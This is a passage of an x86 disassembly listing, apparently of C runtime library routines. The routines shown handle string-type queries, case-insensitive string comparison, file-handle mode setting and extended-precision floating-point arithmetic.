[ebp+arg_4] push eax call sub_432530 add esp, 14h mov [ebp+var_8], eax cmp [ebp+var_8], 0 jnz short loc_430DEF jmp short loc_430E4D ; --------------------------------------------------------------------------- loc_430DEF: ; CODE XREF: sub_430D00+5Aj ; sub_430D00+EBj push 63h push offset aInithelp_c ; "inithelp.c" push 2 mov ecx, [ebp+var_8] push ecx call sub_4150C0 add esp, 10h mov edx, [ebp+var_90] mov [edx], eax mov eax, [ebp+var_90] cmp dword ptr [eax], 0 jnz short loc_430E19 jmp short loc_430E4D ; --------------------------------------------------------------------------- loc_430E19: ; CODE XREF: sub_430D00+115j mov ecx, [ebp+var_8] push ecx mov edx, [ebp+var_C] push edx mov eax, [ebp+var_90] mov ecx, [eax] push ecx call sub_417760 add esp, 0Ch cmp [ebp+var_4], 0 jz short loc_430E46 push 2 mov edx, [ebp+var_C] push edx call sub_415C60 add esp, 8 loc_430E46: ; CODE XREF: sub_430D00+136j xor eax, eax jmp loc_430F86 ; --------------------------------------------------------------------------- loc_430E4D: ; CODE XREF: sub_430D00+6Bj ; sub_430D00+95j ... cmp [ebp+var_4], 0 jz short loc_430E61 push 2 mov eax, [ebp+var_C] push eax call sub_415C60 add esp, 8 loc_430E61: ; CODE XREF: sub_430D00+151j or eax, 0FFFFFFFFh jmp loc_430F86 ; --------------------------------------------------------------------------- loc_430E69: ; CODE XREF: sub_430D00+Dj cmp [ebp+arg_0], 0 jnz loc_430F83 mov [ebp+var_A4], 4 mov ecx, [ebp+arg_C] mov [ebp+var_9C], ecx push 0 mov edx, [ebp+var_A4] push edx push offset byte_4DE230 mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx call sub_432390 add esp, 14h test eax, eax jnz short loc_430EB0 or eax, 0FFFFFFFFh jmp loc_430F86 ; --------------------------------------------------------------------------- loc_430EB0: ; CODE XREF: sub_430D00+1A6j mov edx, [ebp+var_9C] mov byte ptr [edx], 0 mov [ebp+var_A0], 0 jmp short loc_430ED4 ; --------------------------------------------------------------------------- loc_430EC5: ; CODE XREF: sub_430D00:loc_430F7Aj mov eax, [ebp+var_A0] add eax, 1 mov [ebp+var_A0], eax loc_430ED4: ; CODE XREF: sub_430D00+1C3j cmp [ebp+var_A0], 4 jge loc_430F7F cmp dword_447480, 1 jle short loc_430F1B push 4 mov ecx, [ebp+var_A0] mov dl, byte_4DE230[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh push eax call sub_41FA40 add esp, 8 mov [ebp+var_A8], eax jmp short loc_430F4E ; --------------------------------------------------------------------------- loc_430F1B: ; CODE XREF: sub_430D00+1E8j mov ecx, [ebp+var_A0] mov dl, byte_4DE230[ecx*2] mov byte ptr [ebp+var_98], dl mov eax, [ebp+var_98] and eax, 0FFh mov ecx, off_447274 xor edx, edx mov dx, [ecx+eax*2] and edx, 4 mov [ebp+var_A8], edx loc_430F4E: ; CODE XREF: sub_430D00+219j cmp [ebp+var_A8], 0 jz short loc_430F78 mov eax, [ebp+var_9C] movsx ecx, byte ptr [eax] imul ecx, 0Ah movsx edx, byte ptr [ebp+var_98] lea eax, [ecx+edx-30h] mov ecx, [ebp+var_9C] mov [ecx], al jmp short loc_430F7A ; --------------------------------------------------------------------------- loc_430F78: ; CODE XREF: sub_430D00+255j jmp short loc_430F7F ; --------------------------------------------------------------------------- loc_430F7A: ; CODE XREF: sub_430D00+276j jmp loc_430EC5 ; --------------------------------------------------------------------------- loc_430F7F: ; CODE XREF: sub_430D00+1DBj ; sub_430D00:loc_430F78j xor eax, eax jmp short loc_430F86 ; --------------------------------------------------------------------------- loc_430F83: ; CODE XREF: sub_430D00+16Dj or eax, 0FFFFFFFFh loc_430F86: ; CODE XREF: sub_430D00+148j ; sub_430D00+164j ... mov esp, ebp pop ebp retn sub_430D00 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp mov eax, off_448398 pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_430FA0 proc near ; CODE XREF: .data:0042D096p var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = byte ptr -1Ch var_18 = dword ptr -18h var_10 = dword ptr -10h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch push ebp mov ebp, esp push 0FFFFFFFFh push offset dword_435F80 push offset sub_41BD64 mov eax, large fs:0 push eax mov large fs:0, esp add esp, 0FFFFFFDCh push ebx push esi push edi mov [ebp+var_18], esp cmp dword_4DE23C, 0 jnz short loc_43101E lea eax, [ebp+var_1C] push eax push 1 push offset dword_435398 push 1 call dword_4E0300 ; GetStringTypeW test eax, eax jz short loc_430FF2 mov dword_4DE23C, 1 jmp short loc_43101E ; --------------------------------------------------------------------------- loc_430FF2: ; CODE XREF: sub_430FA0+44j lea ecx, [ebp+var_1C] push ecx push 1 push offset dword_435394 push 1 push 0 call dword_4E0304 ; GetStringTypeA test eax, eax jz short loc_431017 mov dword_4DE23C, 2 jmp short loc_43101E ; --------------------------------------------------------------------------- loc_431017: ; CODE XREF: sub_430FA0+69j xor eax, eax jmp loc_4311F9 ; --------------------------------------------------------------------------- loc_43101E: ; CODE XREF: sub_430FA0+2Dj ; sub_430FA0+50j ... cmp dword_4DE23C, 1 jnz short loc_431042 mov edx, [ebp+arg_C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx mov edx, [ebp+arg_0] push edx call dword_4E0300 ; GetStringTypeW jmp loc_4311F9 ; --------------------------------------------------------------------------- loc_431042: ; CODE XREF: sub_430FA0+85j cmp dword_4DE23C, 2 jnz loc_4311F7 cmp [ebp+arg_10], 0 jnz short loc_43105D mov eax, dword_4DE084 mov [ebp+arg_10], eax loc_43105D: ; CODE XREF: sub_430FA0+B3j push 0 push 0 push 0 push 0 mov ecx, [ebp+arg_8] push ecx mov edx, [ebp+arg_4] push edx push 220h mov eax, [ebp+arg_10] push eax call dword_4E0424 ; WideCharToMultiByte mov [ebp+var_28], eax cmp [ebp+var_28], 0 jnz short loc_43108C xor eax, eax jmp loc_4311F9 ; --------------------------------------------------------------------------- loc_43108C: ; CODE XREF: sub_430FA0+E3j mov [ebp+var_4], 0 mov eax, [ebp+var_28] add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_30], esp mov [ebp+var_18], esp mov ecx, [ebp+var_30] mov [ebp+var_2C], ecx mov edx, [ebp+var_28] push edx push 0 mov eax, [ebp+var_2C] push eax call sub_417700 add esp, 0Ch mov [ebp+var_4], 0FFFFFFFFh jmp short loc_4310DE ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_2C], 0 mov [ebp+var_4], 0FFFFFFFFh loc_4310DE: ; CODE XREF: sub_430FA0+125j cmp [ebp+var_2C], 0 jnz short loc_4310EB xor eax, eax jmp loc_4311F9 ; --------------------------------------------------------------------------- loc_4310EB: ; CODE XREF: sub_430FA0+142j push 0 push 0 mov ecx, [ebp+var_28] push ecx mov edx, [ebp+var_2C] push edx mov eax, [ebp+arg_8] push eax mov ecx, [ebp+arg_4] push ecx push 220h mov edx, [ebp+arg_10] push edx call dword_4E0424 ; WideCharToMultiByte test eax, eax jnz short loc_431119 xor eax, eax jmp loc_4311F9 ; --------------------------------------------------------------------------- loc_431119: ; CODE XREF: sub_430FA0+170j mov [ebp+var_4], 1 mov eax, [ebp+var_28] lea eax, [eax+eax+2] add eax, 3 and al, 0FCh call sub_4181D0 mov [ebp+var_34], esp mov [ebp+var_18], esp mov ecx, [ebp+var_34] mov [ebp+var_24], ecx mov [ebp+var_4], 0FFFFFFFFh jmp short loc_43115D ; --------------------------------------------------------------------------- mov eax, 1 retn ; --------------------------------------------------------------------------- mov esp, [ebp+var_18] mov [ebp+var_24], 0 mov [ebp+var_4], 0FFFFFFFFh loc_43115D: ; CODE XREF: sub_430FA0+1A4j cmp [ebp+var_24], 0 jnz short loc_43116A xor eax, eax jmp loc_4311F9 ; --------------------------------------------------------------------------- loc_43116A: ; CODE XREF: sub_430FA0+1C1j cmp [ebp+arg_14], 0 jnz short loc_431179 mov edx, dword_4DE074 mov [ebp+arg_14], edx loc_431179: ; CODE XREF: sub_430FA0+1CEj mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] mov word ptr [ecx+eax*2], 0FFFFh mov edx, [ebp+arg_8] mov eax, [ebp+var_24] mov word ptr [eax+edx*2-2], 0FFFFh mov ecx, [ebp+var_24] push ecx mov edx, [ebp+var_28] push edx mov eax, [ebp+var_2C] push eax mov ecx, [ebp+arg_0] push ecx mov edx, [ebp+arg_14] push edx call dword_4E0304 ; GetStringTypeA mov [ebp+var_20], eax mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2-2] cmp edx, 0FFFFh jz short loc_4311D8 mov eax, [ebp+arg_8] mov ecx, [ebp+var_24] xor edx, edx mov dx, [ecx+eax*2] cmp edx, 0FFFFh jz short loc_4311DC loc_4311D8: ; CODE XREF: sub_430FA0+222j xor eax, eax jmp short loc_4311F9 ; --------------------------------------------------------------------------- loc_4311DC: ; CODE XREF: sub_430FA0+236j mov eax, [ebp+arg_8] shl eax, 1 push eax mov ecx, [ebp+var_24] push ecx mov edx, [ebp+arg_C] push edx call sub_419A90 add esp, 0Ch mov eax, [ebp+var_20] jmp short loc_4311F9 ; --------------------------------------------------------------------------- loc_4311F7: ; CODE XREF: sub_430FA0+A9j xor eax, eax loc_4311F9: ; CODE XREF: sub_430FA0+79j ; sub_430FA0+9Dj ... lea esp, [ebp-40h] mov ecx, [ebp+var_10] mov large fs:0, ecx pop edi pop esi pop ebx mov esp, ebp pop ebp retn sub_430FA0 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431210 proc near ; CODE XREF: sub_42D4B0+40p ; sub_42D600+5Fp ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push edi push esi push ebx mov esi, [ebp+arg_4] mov edi, [ebp+arg_0] lea eax, dword_4DE06C cmp dword ptr [eax+8], 0 jnz short loc_431263 mov al, 0FFh mov edi, edi loc_43122C: ; CODE XREF: sub_431210+28j ; sub_431210+48j or al, al jz short loc_43125E mov al, [esi] inc esi mov ah, [edi] inc edi cmp ah, al jz short loc_43122C sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h xchg ah, al sub al, 41h cmp al, 1Ah sbb cl, cl and cl, 20h add al, cl add al, 41h cmp al, ah jz short loc_43122C sbb al, al sbb al, 0FFh loc_43125E: ; CODE XREF: sub_431210+1Ej movsx eax, al jmp short loc_4312DB ; --------------------------------------------------------------------------- loc_431263: ; CODE XREF: sub_431210+16j lock inc dword_4DE428 cmp dword_4DE424, 0 jg short loc_431277 push 0 jmp short loc_43128C ; --------------------------------------------------------------------------- loc_431277: ; CODE XREF: sub_431210+61j lock dec dword_4DE428 push 13h call sub_41BC80 mov [esp+10h+var_10], 1 loc_43128C: ; CODE XREF: sub_431210+65j mov eax, 0FFh xor ebx, ebx nop loc_431294: ; CODE XREF: sub_431210+90j ; sub_431210+A8j or al, al jz short loc_4312BF mov al, [esi] inc esi mov bl, [edi] inc edi cmp al, bl jz short loc_431294 push eax push ebx call sub_41A730 mov ebx, eax add esp, 4 call sub_41A730 add esp, 4 cmp bl, al jz short loc_431294 sbb eax, eax sbb eax, 0FFFFFFFFh loc_4312BF: ; CODE XREF: sub_431210+86j mov ebx, eax pop eax or eax, eax jnz short loc_4312CF lock dec dword_4DE428 jmp short loc_4312D9 ; --------------------------------------------------------------------------- loc_4312CF: ; CODE XREF: sub_431210+B4j push 13h call sub_41BD20 add esp, 4 loc_4312D9: ; CODE XREF: sub_431210+BDj mov eax, ebx loc_4312DB: ; CODE XREF: sub_431210+51j pop ebx pop esi pop edi leave retn sub_431210 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4312E0 proc near ; CODE XREF: sub_42D600+11Bp ; sub_42D600+2D4p ... var_10 = dword ptr -10h arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push edi push esi push ebx mov ecx, [ebp+arg_8] or ecx, ecx jz loc_4313DA mov esi, [ebp+arg_0] mov edi, [ebp+arg_4] lea eax, dword_4DE06C cmp dword ptr [eax+8], 0 jnz short loc_431351 mov bh, 41h mov bl, 5Ah mov dh, 20h lea ecx, [ecx+0] loc_43130C: ; CODE XREF: sub_4312E0+53j mov ah, [esi] or ah, ah mov al, [edi] jz short loc_431335 or al, al jz short loc_431335 inc esi inc edi cmp ah, bh jb short loc_431324 cmp ah, bl ja short loc_431324 add ah, dh loc_431324: ; CODE XREF: sub_4312E0+3Cj ; sub_4312E0+40j cmp al, bh jb short loc_43132E cmp al, bl ja short loc_43132E add al, dh loc_43132E: ; CODE XREF: sub_4312E0+46j ; sub_4312E0+4Aj cmp ah, al jnz short loc_43133F dec ecx jnz short loc_43130C loc_431335: ; CODE XREF: sub_4312E0+32j ; sub_4312E0+36j xor ecx, ecx cmp ah, al jz loc_4313DA loc_43133F: ; CODE XREF: sub_4312E0+50j mov ecx, 0FFFFFFFFh jb loc_4313DA neg ecx jmp loc_4313DA ; --------------------------------------------------------------------------- loc_431351: ; CODE XREF: sub_4312E0+21j lock inc dword_4DE428 cmp dword_4DE424, 0 jg short loc_431365 push 0 jmp short loc_43137E ; --------------------------------------------------------------------------- loc_431365: ; CODE XREF: sub_4312E0+7Fj lock dec dword_4DE428 mov ebx, ecx push 13h call sub_41BC80 mov [esp+10h+var_10], 1 mov ecx, ebx loc_43137E: ; CODE XREF: sub_4312E0+83j xor eax, eax xor ebx, ebx mov edi, edi loc_431384: ; CODE XREF: sub_4312E0+CDj mov al, [esi] or eax, eax mov bl, [edi] jz short loc_4313AF or ebx, ebx jz short loc_4313AF inc esi inc edi push ecx push eax push ebx call sub_41A730 mov ebx, eax add esp, 4 call sub_41A730 add esp, 4 pop ecx cmp eax, ebx jnz short loc_4313B5 dec ecx jnz short loc_431384 loc_4313AF: ; CODE XREF: sub_4312E0+AAj ; sub_4312E0+AEj xor ecx, ecx cmp eax, ebx jz short loc_4313BE loc_4313B5: ; CODE XREF: sub_4312E0+CAj mov ecx, 0FFFFFFFFh jb short loc_4313BE neg ecx loc_4313BE: ; CODE XREF: sub_4312E0+D3j ; sub_4312E0+DAj pop eax or eax, eax jnz short loc_4313CC lock dec dword_4DE428 jmp short loc_4313DA ; --------------------------------------------------------------------------- loc_4313CC: ; CODE XREF: sub_4312E0+E1j mov ebx, ecx push 13h call sub_41BD20 add esp, 4 mov ecx, ebx loc_4313DA: ; CODE XREF: sub_4312E0+Bj ; sub_4312E0+59j ... mov eax, ecx pop ebx pop esi pop edi leave retn sub_4312E0 endp ; --------------------------------------------------------------------------- align 10h push ebp mov ebp, esp push ecx mov eax, [ebp+8] cmp eax, dword_4DE420 jnb short loc_431421 mov ecx, [ebp+8] sar ecx, 5 mov edx, [ebp+8] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] movsx ecx, byte ptr [eax+edx+4] and ecx, 1 test ecx, ecx jnz short loc_431431 loc_431421: ; CODE XREF: .data:004313FDj call sub_4224D0 mov dword ptr [eax], 9 or eax, 0FFFFFFFFh jmp short loc_43145F ; --------------------------------------------------------------------------- loc_431431: ; CODE XREF: .data:0043141Fj mov edx, [ebp+8] push edx call sub_4299C0 add esp, 4 mov eax, [ebp+0Ch] push eax mov ecx, [ebp+8] push ecx call sub_431470 add esp, 8 mov [ebp-4], eax mov edx, [ebp+8] push edx call sub_429A50 add esp, 4 mov eax, [ebp-4] loc_43145F: ; CODE XREF: .data:0043142Fj mov esp, ebp pop ebp retn ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431470 proc near ; CODE XREF: sub_42E2C0+D4p ; sub_42E2C0+1A6p ... var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] movsx eax, byte ptr [edx+ecx+4] and eax, 80h mov [ebp+var_4], eax cmp [ebp+arg_4], 8000h jnz short loc_4314D9 mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov eax, dword_4DE320[ecx*4] mov cl, [eax+edx+4] and cl, 7Fh mov edx, [ebp+arg_0] sar edx, 5 mov eax, [ebp+arg_0] and eax, 1Fh imul eax, 24h mov edx, dword_4DE320[edx*4] mov [edx+eax+4], cl jmp short loc_43152A ; --------------------------------------------------------------------------- loc_4314D9: ; CODE XREF: sub_431470+2Ej cmp [ebp+arg_4], 4000h jnz short loc_43151A mov eax, [ebp+arg_0] sar eax, 5 mov ecx, [ebp+arg_0] and ecx, 1Fh imul ecx, 24h mov edx, dword_4DE320[eax*4] mov al, [edx+ecx+4] or al, 80h mov ecx, [ebp+arg_0] sar ecx, 5 mov edx, [ebp+arg_0] and edx, 1Fh imul edx, 24h mov ecx, dword_4DE320[ecx*4] mov [ecx+edx+4], al jmp short loc_43152A ; --------------------------------------------------------------------------- loc_43151A: ; CODE XREF: sub_431470+70j call sub_4224D0 mov dword ptr [eax], 16h or eax, 0FFFFFFFFh jmp short loc_43153B ; --------------------------------------------------------------------------- loc_43152A: ; CODE XREF: sub_431470+67j ; sub_431470+A8j mov eax, [ebp+var_4] neg eax sbb eax, eax and eax, 0FFFFC000h add eax, 8000h loc_43153B: ; CODE XREF: sub_431470+B8j mov esp, ebp pop ebp retn sub_431470 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431540 proc near ; CODE XREF: sub_42F370+2B5p ; sub_431980+B5p var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 48h mov word ptr [ebp+var_2C], 0 mov [ebp+var_4], 0 mov [ebp+var_14], 0 mov [ebp+var_10], 0 mov [ebp+var_C], 0 mov eax, [ebp+arg_0] mov cx, [eax+0Ah] mov word ptr [ebp+var_18], cx mov edx, [ebp+arg_4] mov ax, [edx+0Ah] mov word ptr [ebp+var_20], ax mov ecx, [ebp+var_18] and ecx, 0FFFFh mov edx, [ebp+var_20] and edx, 0FFFFh xor ecx, edx and ecx, 8000h mov word ptr [ebp+var_2C], cx mov ax, word ptr [ebp+var_18] and ax, 7FFFh mov word ptr [ebp+var_18], ax mov cx, word ptr [ebp+var_20] and cx, 7FFFh mov word ptr [ebp+var_20], cx mov edx, [ebp+var_18] and edx, 0FFFFh mov eax, [ebp+var_20] and eax, 0FFFFh add edx, eax mov word ptr [ebp+var_30], dx mov ecx, [ebp+var_18] and ecx, 0FFFFh cmp ecx, 7FFFh jge short loc_4315FD mov edx, [ebp+var_20] and edx, 0FFFFh cmp edx, 7FFFh jge short loc_4315FD mov eax, [ebp+var_30] and eax, 0FFFFh cmp eax, 0BFFDh jle short loc_431634 loc_4315FD: ; CODE XREF: sub_431540+9Bj ; sub_431540+ACj mov ecx, [ebp+var_2C] and ecx, 0FFFFh neg ecx sbb ecx, ecx and ecx, 80000000h add ecx, 7FFF8000h mov edx, [ebp+arg_0] mov [edx+8], ecx mov eax, [ebp+arg_0] mov dword ptr [eax+4], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx], 0 jmp loc_431979 ; --------------------------------------------------------------------------- loc_431634: ; CODE XREF: sub_431540+BBj mov edx, [ebp+var_30] and edx, 0FFFFh cmp edx, 3FBFh jg short loc_431667 mov eax, [ebp+arg_0] mov dword ptr [eax+8], 0 mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp loc_431979 ; --------------------------------------------------------------------------- loc_431667: ; CODE XREF: sub_431540+103j mov eax, [ebp+var_18] and eax, 0FFFFh test eax, eax jnz short loc_4316AD mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx mov edx, [ebp+arg_0] mov eax, [edx+8] and eax, 7FFFFFFFh test eax, eax jnz short loc_4316AD mov ecx, [ebp+arg_0] cmp dword ptr [ecx+4], 0 jnz short loc_4316AD mov edx, [ebp+arg_0] cmp dword ptr [edx], 0 jnz short loc_4316AD mov eax, [ebp+arg_0] mov word ptr [eax+0Ah], 0 jmp loc_431979 ; --------------------------------------------------------------------------- loc_4316AD: ; CODE XREF: sub_431540+131j ; sub_431540+14Cj ... mov ecx, [ebp+var_20] and ecx, 0FFFFh test ecx, ecx jnz short loc_431709 mov dx, word ptr [ebp+var_30] add dx, 1 mov word ptr [ebp+var_30], dx mov eax, [ebp+arg_4] mov ecx, [eax+8] and ecx, 7FFFFFFFh test ecx, ecx jnz short loc_431709 mov edx, [ebp+arg_4] cmp dword ptr [edx+4], 0 jnz short loc_431709 mov eax, [ebp+arg_4] cmp dword ptr [eax], 0 jnz short loc_431709 mov ecx, [ebp+arg_0] mov dword ptr [ecx+8], 0 mov edx, [ebp+arg_0] mov dword ptr [edx+4], 0 mov eax, [ebp+arg_0] mov dword ptr [eax], 0 jmp loc_431979 ; --------------------------------------------------------------------------- loc_431709: ; CODE XREF: sub_431540+178j ; sub_431540+194j ... mov [ebp+var_28], 0 mov [ebp+var_1C], 0 jmp short loc_431722 ; --------------------------------------------------------------------------- loc_431719: ; CODE XREF: sub_431540+29Cj mov ecx, [ebp+var_1C] add ecx, 1 mov [ebp+var_1C], ecx loc_431722: ; CODE XREF: sub_431540+1D7j cmp [ebp+var_1C], 5 jge loc_4317E1 mov edx, [ebp+var_1C] shl edx, 1 mov [ebp+var_24], edx mov [ebp+var_8], 8 mov eax, 5 sub eax, [ebp+var_1C] mov [ebp+var_34], eax jmp short loc_431751 ; --------------------------------------------------------------------------- loc_431748: ; CODE XREF: sub_431540+28Ej mov ecx, [ebp+var_34] sub ecx, 1 mov [ebp+var_34], ecx loc_431751: ; CODE XREF: sub_431540+206j cmp [ebp+var_34], 0 jle short loc_4317D3 mov edx, [ebp+arg_0] add edx, [ebp+var_24] mov [ebp+var_38], edx mov eax, [ebp+arg_4] add eax, [ebp+var_8] mov [ebp+var_3C], eax mov ecx, [ebp+var_28] lea edx, [ebp+ecx+var_14] mov [ebp+var_40], edx mov eax, [ebp+var_38] xor ecx, ecx mov cx, [eax] mov edx, [ebp+var_3C] xor eax, eax mov ax, [edx] imul ecx, eax mov [ebp+var_44], ecx mov ecx, [ebp+var_40] push ecx mov edx, [ebp+var_44] push edx mov eax, [ebp+var_40] mov ecx, [eax] push ecx call sub_42E4F0 add esp, 0Ch mov [ebp+var_48], eax cmp [ebp+var_48], 0 jz short loc_4317BC mov edx, [ebp+var_28] mov ax, word ptr [ebp+edx+var_10] add ax, 1 mov ecx, [ebp+var_28] mov word ptr [ebp+ecx+var_10], ax loc_4317BC: ; CODE XREF: sub_431540+266j mov edx, [ebp+var_24] add edx, 2 mov [ebp+var_24], edx mov eax, [ebp+var_8] sub eax, 2 mov [ebp+var_8], eax jmp loc_431748 ; --------------------------------------------------------------------------- loc_4317D3: ; CODE XREF: sub_431540+215j mov ecx, [ebp+var_28] add ecx, 2 mov [ebp+var_28], ecx jmp loc_431719 ; --------------------------------------------------------------------------- loc_4317E1: ; CODE XREF: sub_431540+1E6j mov dx, word ptr [ebp+var_30] sub dx, 3FFEh mov word ptr [ebp+var_30], dx loc_4317EE: ; CODE XREF: sub_431540+2DBj movsx eax, word ptr [ebp+var_30] test eax, eax jle short loc_43181D mov ecx, [ebp+var_C] and ecx, 80000000h test ecx, ecx jnz short loc_43181D lea edx, [ebp+var_14] push edx call sub_42E5E0 add esp, 4 mov ax, word ptr [ebp+var_30] sub ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_4317EE ; --------------------------------------------------------------------------- loc_43181D: ; CODE XREF: sub_431540+2B4j ; sub_431540+2C1j movsx ecx, word ptr [ebp+var_30] test ecx, ecx jg short loc_43187D mov dx, word ptr [ebp+var_30] sub dx, 1 mov word ptr [ebp+var_30], dx loc_431831: ; CODE XREF: sub_431540+32Aj movsx eax, word ptr [ebp+var_30] test eax, eax jge short loc_43186C mov ecx, [ebp+var_14] and ecx, 0FFFFh and ecx, 1 test ecx, ecx jz short loc_431852 mov edx, [ebp+var_4] add edx, 1 mov [ebp+var_4], edx loc_431852: ; CODE XREF: sub_431540+307j lea eax, [ebp+var_14] push eax call sub_42E640 add esp, 4 mov cx, word ptr [ebp+var_30] add cx, 1 mov word ptr [ebp+var_30], cx jmp short loc_431831 ; --------------------------------------------------------------------------- loc_43186C: ; CODE XREF: sub_431540+2F7j cmp [ebp+var_4], 0 jz short loc_43187D mov dx, word ptr [ebp+var_14] or dl, 1 mov word ptr [ebp+var_14], dx loc_43187D: ; CODE XREF: sub_431540+2E3j ; sub_431540+330j mov eax, [ebp+var_14] and eax, 0FFFFh cmp eax, 8000h jg short loc_43189D mov ecx, [ebp+var_14] and ecx, 1FFFFh cmp ecx, 18000h jnz short loc_4318FE loc_43189D: ; CODE XREF: sub_431540+34Aj cmp [ebp+var_14+2], 0FFFFFFFFh jnz short loc_4318F5 mov [ebp+var_14+2], 0 cmp [ebp+var_10+2], 0FFFFFFFFh jnz short loc_4318EA mov [ebp+var_10+2], 0 mov edx, [ebp+var_C+2] and edx, 0FFFFh cmp edx, 0FFFFh jnz short loc_4318DC mov word ptr [ebp+var_C+2], 8000h mov ax, word ptr [ebp+var_30] add ax, 1 mov word ptr [ebp+var_30], ax jmp short loc_4318E8 ; --------------------------------------------------------------------------- loc_4318DC: ; CODE XREF: sub_431540+386j mov cx, word ptr [ebp+var_C+2] add cx, 1 mov word ptr [ebp+var_C+2], cx loc_4318E8: ; CODE XREF: sub_431540+39Aj jmp short loc_4318F3 ; --------------------------------------------------------------------------- loc_4318EA: ; CODE XREF: sub_431540+36Ej mov edx, [ebp+var_10+2] add edx, 1 mov [ebp+var_10+2], edx loc_4318F3: ; CODE XREF: sub_431540:loc_4318E8j jmp short loc_4318FE ; --------------------------------------------------------------------------- loc_4318F5: ; CODE XREF: sub_431540+361j mov eax, [ebp+var_14+2] add eax, 1 mov [ebp+var_14+2], eax loc_4318FE: ; CODE XREF: sub_431540+35Bj ; sub_431540:loc_4318F3j mov ecx, [ebp+var_30] and ecx, 0FFFFh cmp ecx, 7FFFh jl short loc_431943 mov edx, [ebp+var_2C] and edx, 0FFFFh neg edx sbb edx, edx and edx, 80000000h add edx, 7FFF8000h mov eax, [ebp+arg_0] mov [eax+8], edx mov ecx, [ebp+arg_0] mov dword ptr [ecx+4], 0 mov edx, [ebp+arg_0] mov dword ptr [edx], 0 jmp short loc_431979 ; --------------------------------------------------------------------------- loc_431943: ; CODE XREF: sub_431540+3CDj mov eax, [ebp+arg_0] mov cx, word ptr [ebp+var_14+2] mov [eax], cx mov edx, [ebp+arg_0] mov eax, [ebp+var_10] mov [edx+2], eax mov ecx, [ebp+arg_0] mov edx, [ebp+var_C] mov [ecx+6], edx mov eax, [ebp+var_30] and eax, 0FFFFh mov ecx, [ebp+var_2C] and ecx, 0FFFFh or eax, ecx mov edx, [ebp+arg_0] mov [edx+0Ah], ax loc_431979: ; CODE XREF: sub_431540+EFj ; sub_431540+122j ... mov esp, ebp pop ebp retn sub_431540 endp ; --------------------------------------------------------------------------- align 10h ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_431980 proc near ; CODE XREF: sub_42E7F0+914p ; sub_42F370+288p var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, offset dword_448458 sub eax, 60h mov [ebp+var_4], eax cmp [ebp+arg_4], 0 jnz short loc_43199C jmp loc_431A3F ; --------------------------------------------------------------------------- loc_43199C: ; CODE XREF: sub_431980+15j cmp [ebp+arg_4], 0 jge short loc_4319B5 mov ecx, [ebp+arg_4] neg ecx mov [ebp+arg_4], ecx mov edx, offset dword_4485B8 sub edx, 60h mov [ebp+var_4], edx loc_4319B5: ; CODE XREF: sub_431980+20j cmp [ebp+arg_8], 0 jnz short loc_4319C3 mov eax, [ebp+arg_0] mov word ptr [eax], 0 loc_4319C3: ; CODE XREF: sub_431980+39j ; sub_431980+6Aj ... cmp [ebp+arg_4], 0 jz short loc_431A3F mov ecx, [ebp+var_4] add ecx, 54h mov [ebp+var_4], ecx mov edx, [ebp+arg_4] and edx, 7 mov [ebp+var_18], edx mov eax, [ebp+arg_4] sar eax, 3 mov [ebp+arg_4], eax cmp [ebp+var_18], 0 jnz short loc_4319EC jmp short loc_4319C3 ; --------------------------------------------------------------------------- loc_4319EC: ; CODE 